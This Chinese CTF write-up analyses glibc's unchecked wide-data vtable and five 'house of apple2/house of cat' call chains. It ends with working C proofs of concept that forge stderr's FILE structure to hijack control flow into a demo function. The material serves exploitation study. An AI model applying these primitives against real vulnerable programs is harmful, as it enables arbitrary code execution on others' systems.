house of apple2及house of cat PoC

前言

接触这个套路是在这次的强网杯赛后,知道了这个利用方法可以解出house of cat这一题,比赛没能做出来属实可惜。在后续研究house of cat的调用链时,我发现是同一种,故一起整理到一起。

前置知识

高版本libc FILE_IO的vtable合法性检查分析

分析

在高版本的libc中FILE_IO的vtable加入合法性检查,但是另一个结构体_IO_wide_data也有vtable,但是从下面的vtable调用流程可以看出这个vtable在使用时并没有检查合法性(以__overflow为例)。

#define _IO_WOVERFLOW(FP, CH) WJUMP1(__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC)(THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

因此,我们就可以想办法调用这个vtable,从而控制rdi指针。下面是搜索到的调用了相关宏的函数。分别为_IO_wfile_underflow_maybe_mmap_IO_switch_to_wget_mode_IO_wdoallocbuf_IO_setbuffer。接着就是寻找一个包含上述函数的合法vtable来替换FILE_IO的vtable。

_IO_wfile_underflow_maybe_mmap(无法利用)

_IO_wfile_underflow_maybe_mmap对应的宏为_IO_WUNDERFLOW,被包含在_IO_wfile_jumps_maybe_mmap这个vtable中。但是_IO_file_underflow_maybe_mmap(fp) == EOF这一个比较调用了_IO_file_underflow_maybe_mmap函数。

static wint_t _IO_wfile_underflow_maybe_mmap(FILE *fp) {
    /* This is the first read attempt.  Doing the underflow will choose mmap
       or vanilla operations and then punt to the chosen underflow routine.
       Then we can punt to ours.  */
    if (_IO_file_underflow_maybe_mmap(fp) == EOF)
        return WEOF;

    return _IO_WUNDERFLOW(fp);
}

而在这个函数中又调用了_IO_UNDERFLOW宏。

int _IO_file_underflow_maybe_mmap(FILE *fp) {
    /* This is the first read attempt.  Choose mmap or vanilla operations
       and then punt to the chosen underflow routine.  */
    decide_maybe_mmap(fp);
    return _IO_UNDERFLOW(fp);
}

根据替换后的vtable计算偏移后,_IO_UNDERFLOW对应的函数为_IO_wdefault_uflow,会出现不断调用_IO_UNDERFLOW的情况,因此这种情况无法顺利达成。

wint_t _IO_wdefault_uflow(FILE *fp) {
    wint_t wch;
    wch = _IO_UNDERFLOW(fp);
    if (wch == WEOF)
        return WEOF;
    return *fp->_wide_data->_IO_read_ptr++;
}

_IO_switch_to_wget_mode

_IO_switch_to_wget_mode对应的宏是_IO_WOVERFLOW,但这个函数并未直接被某个vtable包含,不过被其他在vtable中的函数所调用。
这里可以看出如果要调用目标的宏,我们需要控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

int _IO_switch_to_wget_mode(FILE *fp) {
    if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
        if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)
            return EOF;
    ....
}

调用链1(即house of cat)

通过搜索,其中一个函数是_IO_wfile_seekoff,而这个函数被_IO_wfile_jumps_maybe_mmap_IO_wfile_jumps_IO_wfile_jumps_mmap几个vtable所包含。但是需要mode不为0才能成功调用_IO_switch_to_wget_mode,也就是说可能需要控制rcx寄存器的值(实际调试时刚好符合)。

off64_t _IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode) {
    off64_t result;
    off64_t delta, new_offset;
    long int count;

    /* Short-circuit into a separate function.  We don't want to mix any
       functionality and we don't want to touch anything inside the FILE
       object. */
    if (mode == 0)
        return do_ftell_wide(fp);

    /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
       offset of the underlying file must be exact.  */
    int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) &&
                         (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));

    bool was_writing =
        ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp));

    /* Flush unwritten characters.
       (This may do an unneeded write if we seek within the buffer.
       But to be able to switch to reading, we would need to set
       egptr to pptr.  That can't be done in the current design,
       which assumes file_ptr() is eGptr.  Anyway, since we probably
       end up flushing when we close(), it doesn't make much difference.)
       FIXME: simulate mem-mapped files. */
    if (was_writing && _IO_switch_to_wget_mode(fp))
        return WEOF;
    ....
}

调用链2

除了这个函数还有__wunderflow调用了_IO_switch_to_wget_mode。但是这个函数依然不在某个vtable中,需要继续向上搜索。
从这里可以看出如果要成功调用_IO_switch_to_wget_mode需要使fp->_mode != 0fp -> _flag & 0x0800 != 0为真。

#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING)

wint_t __wunderflow(FILE *fp) {
    if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide(fp, 1) != 1))
        return WEOF;

    if (fp->_mode == 0)
        _IO_fwide(fp, 1);
    if (_IO_in_put_mode(fp))
        if (_IO_switch_to_wget_mode(fp) == EOF)
            return WEOF;
    ....
}

通过搜索可以发现这个是一个宏,相关定义如下。可以看出需要将fp -> _flag设置为a | 0x800(a为任意值)。
继续向上搜索调用,可以发现__wunderflow_IO_wdefault_xsgetn调用,这个函数被包含在_IO_helper_jumps_IO_wstr_jumps_IO_wstrn_jumps_IO_wmem_jumps几个vtable中。但是需要使fp -> _wide_data -> _IO_read_ptrfp -> _wide_data -> _IO_read_end为一个合适的值,从而控制more != 0才能成功调用__wunderflow

size_t _IO_wdefault_xsgetn(FILE *fp, void *data, size_t n) {
    size_t more = n;
    wchar_t *s  = (wchar_t *)data;
    for (;;) {
        /* Data available. */
        ssize_t count = (fp->_wide_data->_IO_read_end - fp->_wide_data->_IO_read_ptr);
        if (count > 0) {
            if ((size_t)count > more)
                count = more;
            if (count > 20) {
                s = __wmempcpy(s, fp->_wide_data->_IO_read_ptr, count);
                fp->_wide_data->_IO_read_ptr += count;
            } else if (count <= 0)
                count = 0;
            else {
                wchar_t *p = fp->_wide_data->_IO_read_ptr;
                int i      = (int)count;
                while (--i >= 0)
                    *s++ = *p++;
                fp->_wide_data->_IO_read_ptr = p;
            }
            more -= count;
        }
        if (more == 0 || __wunderflow(fp) == WEOF)
            break;
    }
    return n - more;
}

_IO_wdoallocbuf

_IO_wdoallocbuf对应的是宏是_IO_WDOALLOCATE,成功调用的条件为fp -> _wide_data -> _IO_buf_base == NULL以及fp -> _flags & 0x0002 == 0

#define _IO_UNBUFFERED 0x0002

void _IO_wdoallocbuf(FILE *fp) {
    if (fp->_wide_data->_IO_buf_base)
        return;
    if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)
            return;
    _IO_wsetb(fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}

调用链3

通过全局搜索可以知道_IO_wfile_underflow中调用了_IO_wdoallocbuf,并被包含在_IO_wfile_jumps这一vtable中。条件为fp->_flags & 0x0010 == 0fp->_flags & 0x0004 == 0fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_endfp->_IO_read_ptr >= fp->_IO_read_endfp->_IO_buf_base != NULLfp->_wide_data->_IO_buf_base == NULLfp->_wide_data->_IO_save_base != NULL

#define _IO_EOF_SEEN 0x0010
#define _IO_NO_READS 0x0004  /* Reading not allowed.  */

wint_t _IO_wfile_underflow(FILE *fp) {
    struct _IO_codecvt *cd;
    enum __codecvt_result status;
    ssize_t count;

    /* C99 requires EOF to be "sticky".  */
    if (fp->_flags & _IO_EOF_SEEN)
        return WEOF;

    if (__glibc_unlikely(fp->_flags & _IO_NO_READS)) {
        fp->_flags |= _IO_ERR_SEEN;
        __set_errno(EBADF);
        return WEOF;
    }
    if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
        return *fp->_wide_data->_IO_read_ptr;

    cd = fp->_codecvt;

    /* Maybe there is something left in the external buffer.  */
    if (fp->_IO_read_ptr < fp->_IO_read_end) {
        /* There is more in the external.  Convert it.  */
        const char *read_stop = (const char *)fp->_IO_read_ptr;

        fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
        fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_buf_base;
        status = __libio_codecvt_in(cd, &fp->_wide_data->_IO_state, fp->_IO_read_ptr,
                                    fp->_IO_read_end, &read_stop, fp->_wide_data->_IO_read_ptr,
                                    fp->_wide_data->_IO_buf_end, &fp->_wide_data->_IO_read_end);

        fp->_IO_read_base = fp->_IO_read_ptr;
        fp->_IO_read_ptr  = (char *)read_stop;

        /* If we managed to generate some text return the next character.  */
        if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
            return *fp->_wide_data->_IO_read_ptr;

        if (status == __codecvt_error) {
            __set_errno(EILSEQ);
            fp->_flags |= _IO_ERR_SEEN;
            return WEOF;
        }

        /* Move the remaining content of the read buffer to the beginning.  */
        memmove(fp->_IO_buf_base, fp->_IO_read_ptr, fp->_IO_read_end - fp->_IO_read_ptr);
        fp->_IO_read_end  = (fp->_IO_buf_base + (fp->_IO_read_end - fp->_IO_read_ptr));
        fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
    } else {
        fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base;
    }

    if (fp->_IO_buf_base == NULL) {
        /* Maybe we already have a push back pointer.  */
        if (fp->_IO_save_base != NULL) {
            free(fp->_IO_save_base);
            fp->_flags &= ~_IO_IN_BACKUP;
        }
        _IO_doallocbuf(fp);

        fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base;
    }

    fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;

    if (fp->_wide_data->_IO_buf_base == NULL) {
        /* Maybe we already have a push back pointer.  */
        if (fp->_wide_data->_IO_save_base != NULL) {
            free(fp->_wide_data->_IO_save_base);
            fp->_flags &= ~_IO_IN_BACKUP;
        }
        _IO_wdoallocbuf(fp);
    }
    ....
}

调用链4

_IO_wfile_overflow中也调用了_IO_wdoallocbuf,并同样被包含在_IO_wfile_jumps_IO_wfile_jumps_maybe_mmap_IO_wfile_jumps_mmap几个vtable中。条件为fp -> _flags & 0x0008 == 0f -> _flags & 0x0800 == 0fp -> _wide_data -> _IO_write_base == 0

#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800

wint_t _IO_wfile_overflow(FILE *f, wint_t wch) {
    if (f->_flags & _IO_NO_WRITES) { /* SET ERROR */
        f->_flags |= _IO_ERR_SEEN;
        __set_errno(EBADF);
        return WEOF;
    }
    /* If currently reading or no buffer allocated. */
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) {
        /* Allocate a buffer if needed. */
        if (f->_wide_data->_IO_write_base == 0) {
            _IO_wdoallocbuf(f);
            _IO_free_wbackup_area(f);
            ....
        }
        ....
    }
    ....
}

调用链5

出上面两个函数之外还有_IO_wfile_underflow_mmap也能构成调用链,这个函数在_IO_wfile_jumps_mmap中,条件为fp->_flags & 0x0004 == 0fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_endfp->_IO_read_ptr < fp->_IO_read_endfp->_wide_data->_IO_buf_base == NULL以及fp->_wide_data->_IO_save_base == NULL

#define _IO_NO_READS 0x0004

static wint_t _IO_wfile_underflow_mmap(FILE *fp) {
    struct _IO_codecvt *cd;
    const char *read_stop;

    if (__glibc_unlikely(fp->_flags & _IO_NO_READS)) {
        fp->_flags |= _IO_ERR_SEEN;
        __set_errno(EBADF);
        return WEOF;
    }
    if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
        return *fp->_wide_data->_IO_read_ptr;

    cd = fp->_codecvt;

    /* Maybe there is something left in the external buffer.  */
    if (fp->_IO_read_ptr >= fp->_IO_read_end
        /* No.  But maybe the read buffer is not fully set up.  */
        && _IO_file_underflow_mmap(fp) == EOF)
        /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
           flags as appropriate.  */
        return WEOF;

    /* There is more in the external.  Convert it.  */
    read_stop = (const char *)fp->_IO_read_ptr;

    if (fp->_wide_data->_IO_buf_base == NULL) {
        /* Maybe we already have a push back pointer.  */
        if (fp->_wide_data->_IO_save_base != NULL) {
            free(fp->_wide_data->_IO_save_base);
            fp->_flags &= ~_IO_IN_BACKUP;
        }
        _IO_wdoallocbuf(fp);
    }
    ....
}

_IO_setbuffer(无法利用)

void _IO_setbuffer(FILE *fp, char *buf, size_t size) {
    CHECK_FILE(fp, );
    _IO_acquire_lock(fp);
    fp->_flags &= ~_IO_LINE_BUF;
    if (!buf)
        size = 0;
    (void)_IO_SETBUF(fp, buf, size);
    if (_IO_vtable_offset(fp) == 0 && fp->_mode == 0 && _IO_CHECK_WIDE(fp))
        /* We also have to set the buffer using the wide char function.  */
        (void)_IO_WSETBUF(fp, buf, size);
    _IO_release_lock(fp);
}

相关的vtable

const struct _IO_jump_t _IO_wfile_jumps_maybe_mmap libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_new_file_finish),
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wfile_overflow),    //可利用
    JUMP_INIT(underflow, (_IO_underflow_t)_IO_wfile_underflow_maybe_mmap),    //无法成功利用
    JUMP_INIT(uflow, (_IO_underflow_t)_IO_wdefault_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wdefault_pbackfail),
    JUMP_INIT(xsputn, _IO_wfile_xsputn),
    JUMP_INIT(xsgetn, _IO_file_xsgetn),
    JUMP_INIT(seekoff, _IO_wfile_seekoff),
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_file_setbuf_mmap),
    JUMP_INIT(sync, (_IO_sync_t)_IO_wfile_sync),
    JUMP_INIT(doallocate, _IO_wfile_doallocate),
    JUMP_INIT(read, _IO_file_read),
    JUMP_INIT(write, _IO_new_file_write),
    JUMP_INIT(seek, _IO_file_seek),
    JUMP_INIT(close, _IO_file_close),
    JUMP_INIT(stat, _IO_file_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

const struct _IO_jump_t _IO_wfile_jumps libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_new_file_finish),
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wfile_overflow),    //可利用
    JUMP_INIT(underflow, (_IO_underflow_t)_IO_wfile_underflow),    //可利用
    JUMP_INIT(uflow, (_IO_underflow_t)_IO_wdefault_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wdefault_pbackfail),
    JUMP_INIT(xsputn, _IO_wfile_xsputn),
    JUMP_INIT(xsgetn, _IO_file_xsgetn),
    JUMP_INIT(seekoff, _IO_wfile_seekoff),    //可利用
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_new_file_setbuf),
    JUMP_INIT(sync, (_IO_sync_t)_IO_wfile_sync),
    JUMP_INIT(doallocate, _IO_wfile_doallocate),
    JUMP_INIT(read, _IO_file_read),
    JUMP_INIT(write, _IO_new_file_write),
    JUMP_INIT(seek, _IO_file_seek),
    JUMP_INIT(close, _IO_file_close),
    JUMP_INIT(stat, _IO_file_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

const struct _IO_jump_t _IO_wfile_jumps_mmap libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_new_file_finish),
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wfile_overflow),    //可利用
    JUMP_INIT(underflow, (_IO_underflow_t)_IO_wfile_underflow_mmap),    //可利用
    JUMP_INIT(uflow, (_IO_underflow_t)_IO_wdefault_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wdefault_pbackfail),
    JUMP_INIT(xsputn, _IO_wfile_xsputn),
    JUMP_INIT(xsgetn, _IO_file_xsgetn),
    JUMP_INIT(seekoff, _IO_wfile_seekoff),    //可利用
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_file_setbuf_mmap),
    JUMP_INIT(sync, (_IO_sync_t)_IO_wfile_sync),
    JUMP_INIT(doallocate, _IO_wfile_doallocate),
    JUMP_INIT(read, _IO_file_read),
    JUMP_INIT(write, _IO_new_file_write),
    JUMP_INIT(seek, _IO_file_seek),
    JUMP_INIT(close, _IO_file_close_mmap),
    JUMP_INIT(stat, _IO_file_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

static const struct _IO_jump_t _IO_helper_jumps libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_wdefault_finish),
    JUMP_INIT(overflow, _IO_helper_overflow),
    JUMP_INIT(underflow, _IO_default_underflow),
    JUMP_INIT(uflow, _IO_default_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wdefault_pbackfail),
    JUMP_INIT(xsputn, _IO_wdefault_xsputn),
    JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),    //可利用
    JUMP_INIT(seekoff, _IO_default_seekoff),
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_default_setbuf),
    JUMP_INIT(sync, _IO_default_sync),
    JUMP_INIT(doallocate, _IO_wdefault_doallocate),
    JUMP_INIT(read, _IO_default_read),
    JUMP_INIT(write, _IO_default_write),
    JUMP_INIT(seek, _IO_default_seek),
    JUMP_INIT(close, _IO_default_close),
    JUMP_INIT(stat, _IO_default_stat)
};

const struct _IO_jump_t _IO_wstr_jumps libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_wstr_finish),
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wstr_overflow),
    JUMP_INIT(underflow, (_IO_underflow_t)_IO_wstr_underflow),
    JUMP_INIT(uflow, (_IO_underflow_t)_IO_wdefault_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wstr_pbackfail),
    JUMP_INIT(xsputn, _IO_wdefault_xsputn),
    JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),    //可利用
    JUMP_INIT(seekoff, _IO_wstr_seekoff),
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_default_setbuf),
    JUMP_INIT(sync, _IO_default_sync),
    JUMP_INIT(doallocate, _IO_wdefault_doallocate),
    JUMP_INIT(read, _IO_default_read),
    JUMP_INIT(write, _IO_default_write),
    JUMP_INIT(seek, _IO_default_seek),
    JUMP_INIT(close, _IO_default_close),
    JUMP_INIT(stat, _IO_default_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_wstr_finish),
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wstrn_overflow),
    JUMP_INIT(underflow, (_IO_underflow_t)_IO_wstr_underflow),
    JUMP_INIT(uflow, (_IO_underflow_t)_IO_wdefault_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wstr_pbackfail),
    JUMP_INIT(xsputn, _IO_wdefault_xsputn),
    JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),    //可利用
    JUMP_INIT(seekoff, _IO_wstr_seekoff),
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_default_setbuf),
    JUMP_INIT(sync, _IO_default_sync),
    JUMP_INIT(doallocate, _IO_wdefault_doallocate),
    JUMP_INIT(read, _IO_default_read),
    JUMP_INIT(write, _IO_default_write),
    JUMP_INIT(seek, _IO_default_seek),
    JUMP_INIT(close, _IO_default_close),
    JUMP_INIT(stat, _IO_default_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

static const struct _IO_jump_t _IO_wmem_jumps libio_vtable = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, _IO_wmem_finish),
    JUMP_INIT(overflow, (_IO_overflow_t)_IO_wstr_overflow),
    JUMP_INIT(underflow, (_IO_underflow_t)_IO_wstr_underflow),
    JUMP_INIT(uflow, (_IO_underflow_t)_IO_wdefault_uflow),
    JUMP_INIT(pbackfail, (_IO_pbackfail_t)_IO_wstr_pbackfail),
    JUMP_INIT(xsputn, _IO_wdefault_xsputn),
    JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),    //可利用
    JUMP_INIT(seekoff, _IO_wstr_seekoff),
    JUMP_INIT(seekpos, _IO_default_seekpos),
    JUMP_INIT(setbuf, _IO_default_setbuf),
    JUMP_INIT(sync, _IO_wmem_sync),
    JUMP_INIT(doallocate, _IO_wdefault_doallocate),
    JUMP_INIT(read, _IO_default_read),
    JUMP_INIT(write, _IO_default_write),
    JUMP_INIT(seek, _IO_default_seek),
    JUMP_INIT(close, _IO_default_close),
    JUMP_INIT(stat, _IO_default_stat),
    JUMP_INIT(showmanyc, _IO_default_showmanyc),
    JUMP_INIT(imbue, _IO_default_imbue)
};

利用总结

调用链1(house of cat)

调用链

_IO_wfile_jumps_maybe_mmap, _IO_wfile_jumps, _IO_wfile_jumps_mmap  -> _IO_wfile_seekoff    //new vtable
    _IO_switch_to_wget_mode
        _IO_WOVERFLOW

条件

fp -> _wide_data -> _IO_write_ptr > fp -> _wide_data -> _IO_write_base

调用链2

调用链

_IO_helper_jumps, _IO_wstr_jumps, _IO_wstrn_jumps, _IO_wmem_jumps  -> _IO_wdefault_xsgetn    //new vtable
    __wunderflow
        _IO_switch_to_wget_mode
            _IO_WOVERFLOW

条件

设置fp -> _wide_data -> _IO_read_ptrfp -> _wide_data -> _IO_read_end为一个合适的值,从而控制more != 0
fp -> _flag & 0x0800 != 0
fp -> _mode != 0
fp -> _wide_data -> _IO_write_ptr > fp -> _wide_data -> _IO_write_base

调用链3

调用链

_IO_wfile_jumps -> _IO_wfile_underflow    //new vtable
    _IO_wdoallocbuf
        _IO_WDOALLOCATE

条件

fp -> _flags & 0x0002 == 0
fp -> _flags & 0x0010 == 0
fp -> _flags & 0x0004 == 0
fp -> _IO_buf_base != NULL
fp -> _IO_read_ptr >= fp -> _IO_read_end
fp -> _wide_data -> _IO_buf_base == NULL
fp -> _wide_data -> _IO_save_base != NULL
fp -> _wide_data -> _IO_read_ptr >= fp -> _wide_data -> _IO_read_end

调用链4

调用链

_IO_wfile_jumps, _IO_wfile_jumps_maybe_mmap, _IO_wfile_jumps_mmap -> _IO_wfile_overflow    //new vtable
    _IO_wdoallocbuf
        _IO_WDOALLOCATE

条件

fp -> _wide_data -> _IO_buf_base == NULL
fp -> _wide_data -> _IO_write_base == 0
fp -> _flags & 0x0002 == 0
fp -> _flags & 0x0008 == 0
fp -> _flags & 0x0800 == 0

调用链5

调用链

_IO_wfile_jumps_mmap -> _IO_wfile_underflow_mmap    //new vtable
    _IO_wdoallocbuf
        _IO_WDOALLOCATE

条件

fp -> _flags & 0x0002 == 0
fp -> _flags & 0x0004 == 0
fp -> _IO_read_ptr < fp -> _IO_read_end
fp -> _wide_data -> _IO_buf_base == NULL
fp -> _wide_data -> _IO_save_base == NULL
fp -> _wide_data -> _IO_read_ptr >= fp -> _wide_data -> _IO_read_end

PoC

调用链1(house of cat)

#include <stdio.h>
#include <stdlib.h>

void backdoor(void *rdi) {
    printf("backdoor called, get rdi: %p\n", rdi);
}

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *wide_data   = calloc(0x200, 1);
    char *wide_vtable = calloc(0x200, 1);

    size_t puts_addr           = (size_t)&puts;
    size_t libc_base_addr      = puts_addr - 0x80ed0;
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21a6a0;
    size_t _IO_wfile_jumps     = libc_base_addr + 0x2160c0;

    char *stderr2                   = (char *)_IO_2_1_stderr_addr;
    *(size_t *)stderr2              = 0x800;
    *(size_t *)(stderr2 + 0xc0)     = 1;
    *(size_t *)(stderr2 + 0xd8)     = _IO_wfile_jumps - 0x18;
    *(size_t *)(stderr2 + 0xa0)     = (size_t)wide_data;
    *(size_t *)(wide_data + 0xe0)   = (size_t)wide_vtable;
    *(size_t *)(wide_data + 0x20)   = (size_t)1;
    *(size_t *)(wide_vtable + 0x18) = (size_t)(&backdoor);

    printf("fake file addr: %p\n", stderr - 0x10);

    fflush(stderr2);
}

调用链2

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>

void backdoor(void *rdi) {
    printf("backdoor called, get rdi: %p\n", rdi);
}

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *wide_data   = calloc(0x200, 1);
    char *wide_vtable = calloc(0x200, 1);

    size_t puts_addr           = (size_t)&puts;
    size_t libc_base_addr      = puts_addr - 0x80ed0;
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21a6a0;
    size_t _IO_wstrn_jumps     = libc_base_addr + 0x215dc0;

    char *stderr2                   = (char *)_IO_2_1_stderr_addr;
    *(size_t *)stderr2              = 0x800;
    *(size_t *)(stderr2 + 0xc0)     = 1;
    *(size_t *)(stderr2 + 0xd8)     = _IO_wstrn_jumps + 0x28;
    *(size_t *)(stderr2 + 0xa0)     = (size_t)wide_data;
    *(size_t *)(wide_data + 0xe0)   = (size_t)wide_vtable;
    *(size_t *)(wide_data + 0x20)   = (size_t)1;
    *(size_t *)(wide_vtable + 0x18) = (size_t)(&backdoor);

    printf("fake file addr: %p\n", stderr - 0x10);

    fflush(stderr2);
}

调用链3

#include <stdio.h>
#include <stdlib.h>

void backdoor(void *rdi) {
    printf("backdoor called, get rdi: %p\n", rdi);
}

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *wide_data   = calloc(0x200, 1);
    char *wide_vtable = calloc(0x200, 1);

    size_t puts_addr           = (size_t)&puts;
    size_t libc_base_addr      = puts_addr - 0x80ed0;
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21a6a0;
    size_t _IO_wfile_jumps     = libc_base_addr + 0x2160c0;

    char *stderr2                   = (char *)_IO_2_1_stderr_addr;
    *(size_t *)stderr2              = ~(0x0002 | 0x0004 | 0x0010);
    *(size_t *)(stderr2 + 0x08)     = 0;
    *(size_t *)(stderr2 + 0x10)     = 0;
    *(size_t *)(stderr2 + 0x40)     = 1;
    *(size_t *)(stderr2 + 0xa0)     = (size_t)wide_data;
    *(size_t *)(stderr2 + 0xd8)     = _IO_wfile_jumps - 0x40;
    *(size_t *)(wide_data + 0x08)   = 0;
    *(size_t *)(wide_data + 0x10)   = 0;
    *(size_t *)(wide_data + 0x38)   = 0;
    *(size_t *)(wide_data + 0x48)   = 1;
    *(size_t *)(wide_data + 0xe0)   = (size_t)wide_vtable;
    *(size_t *)(wide_vtable + 0x68) = (size_t)(&backdoor);

    printf("fake file addr: %p\n", stderr - 0x10);

    fflush(stderr2);
}

调用链4

#include <stdio.h>
#include <stdlib.h>

void backdoor(void *rdi) {
    printf("backdoor called, get rdi: %p\n", rdi);
}

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *wide_data   = calloc(0x200, 1);
    char *wide_vtable = calloc(0x200, 1);

    size_t puts_addr           = (size_t)&puts;
    size_t libc_base_addr      = puts_addr - 0x80ed0;
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21a6a0;
    size_t _IO_wfile_jumps     = libc_base_addr + 0x2160c0;

    char *stderr2                   = (char *)_IO_2_1_stderr_addr;
    *(size_t *)stderr2              = ~(0x0002 | 0x0008 | 0x0800);
    *(size_t *)(stderr2 + 0xd8)     = _IO_wfile_jumps - 0x48;
    *(size_t *)(stderr2 + 0xa0)     = (size_t)wide_data;
    *(size_t *)(wide_data + 0xe0)   = (size_t)wide_vtable;
    *(size_t *)(wide_vtable + 0x68) = (size_t)(&backdoor);

    printf("fake file addr: %p\n", stderr - 0x10);

    fflush(stderr2);
}

调用链5

#include <stdio.h>
#include <stdlib.h>

void backdoor(void *rdi) {
    printf("backdoor called, get rdi: %p\n", rdi);
}

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *wide_data   = calloc(0x200, 1);
    char *wide_vtable = calloc(0x200, 1);

    size_t puts_addr            = (size_t)&puts;
    size_t libc_base_addr       = puts_addr - 0x80ed0;
    size_t _IO_2_1_stderr_addr  = libc_base_addr + 0x21a6a0;
    size_t _IO_wfile_jumps_mmap = libc_base_addr + 0x216000;

    char *stderr2                   = (char *)_IO_2_1_stderr_addr;
    *(size_t *)stderr2              = ~(0x0002 | 0x0004);
    *(size_t *)(stderr2 + 0x08)     = 0;
    *(size_t *)(stderr2 + 0x10)     = 1;
    *(size_t *)(stderr2 + 0x40)     = 1;
    *(size_t *)(stderr2 + 0xa0)     = (size_t)wide_data;
    *(size_t *)(stderr2 + 0xd8)     = _IO_wfile_jumps_mmap - 0x40;
    *(size_t *)(wide_data + 0x08)   = 0;
    *(size_t *)(wide_data + 0x10)   = 0;
    *(size_t *)(wide_data + 0x38)   = 0;
    *(size_t *)(wide_data + 0x48)   = 1;
    *(size_t *)(wide_data + 0xe0)   = (size_t)wide_vtable;
    *(size_t *)(wide_vtable + 0x68) = (size_t)(&backdoor);

    printf("fake file addr: %p\n", stderr - 0x10);

    fflush(stderr2);
}

看完house of cat的文章后的一些新发现(直接控制rdx寄存器)

